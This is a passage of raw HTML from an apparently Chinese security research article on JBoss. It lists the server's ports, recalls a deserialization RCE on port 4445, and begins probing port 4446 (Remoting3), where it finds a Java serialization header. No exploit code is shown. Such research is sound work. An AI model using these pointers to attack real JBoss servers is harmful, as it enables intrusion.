start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;background: rgba(0, 0, 0, 0.05);"><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">端口</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">状态</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">目的</td></tr></thead><tbody style="box-sizing: border-box;margin: 0px;padding: 0px;"><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">1098</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">启用</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">RMI 命名服务</td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">3528</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">已禁用</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">IANA 分配的 IIOP 端口</td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">4444</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">启用</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">RMI JRMP 调用程序</td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">4445</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">启用</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">RMI 池调用程序</td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">4446</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">启用</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">远程服务器连接器</td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">4447</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">启用</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">远程服务器连接器</td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">4457</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">启用</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">远程服务器连接器</td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">4712</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">启用</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">JBossTS 恢复管理器</td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">4713</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">启用</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">JBossTS 事务状态管理器</td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">4714</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">启用</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">JBossTS 的进程 ID</td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">8080</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">启用</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">HTTP 连接器</td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">8083</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">启用</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">RMI 类加载迷你 Web 服务器</td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">8443</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">启用</td><td style="box-sizing: border-box;margin: 0px;padding: 0.25em 0.5em;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;border-width: 1px;border-style: solid;border-color: rgb(223, 223, 223);">JBossWS HTTPS 连接器套接字</td></tr></tbody></table><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">其中4445端口有一个历史RCE cve-2016-3690，是PooledInvokerServlet反序列化。<img class="rich_pages wxw-img" data-backh="359" data-backw="562" data-galleryid="" data-ratio="0.6387726638772664" data-s="300,640" style="text-align: center;letter-spacing: 0.1em;width: 100%;height: auto;" data-type="png" data-w="717" src="https://wechat2rss.xlab.app/img-proxy/?k=615b9dd9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mbxyJNa2nWTBdPFefQEh5Q2qDyL2w55EF7L4e6PQtPwTxoWvUrVWb7IQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">这次问题出在4446，这是个Remoting3端口，<span style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(0, 153, 38);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">官网介绍看这里<sup style="box-sizing: border-box;margin: 0px;padding: 0px;">[1]</sup></span>，看了看remoting3的文档没写，可以先看2的文档。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">这是一个架构图<img class="rich_pages wxw-img" data-backh="173" data-backw="562" data-galleryid="" data-ratio="0.30810234541577824" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-type="png" data-w="938" src="https://wechat2rss.xlab.app/img-proxy/?k=068f628e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mb8ZQAuM9T3pUgs7FaGk1iaUlzNXrvovtFm4UCbc5PNhTMQRbs9PickSPA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">直接向4446发送一些数据<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.0824524312896406" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;" data-type="png" data-w="946" src="https://wechat2rss.xlab.app/img-proxy/?k=7585670d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mbzAlIxMyDXiamnMtdSfSVpI3jZym5jMxgnOsrKVx1mANOl15Pv7aeOTg%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">明显的aced0005，但是没有其他的东西了，可能是对数据的解析进行了特殊处理，我们使用api来远程调用一下。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: 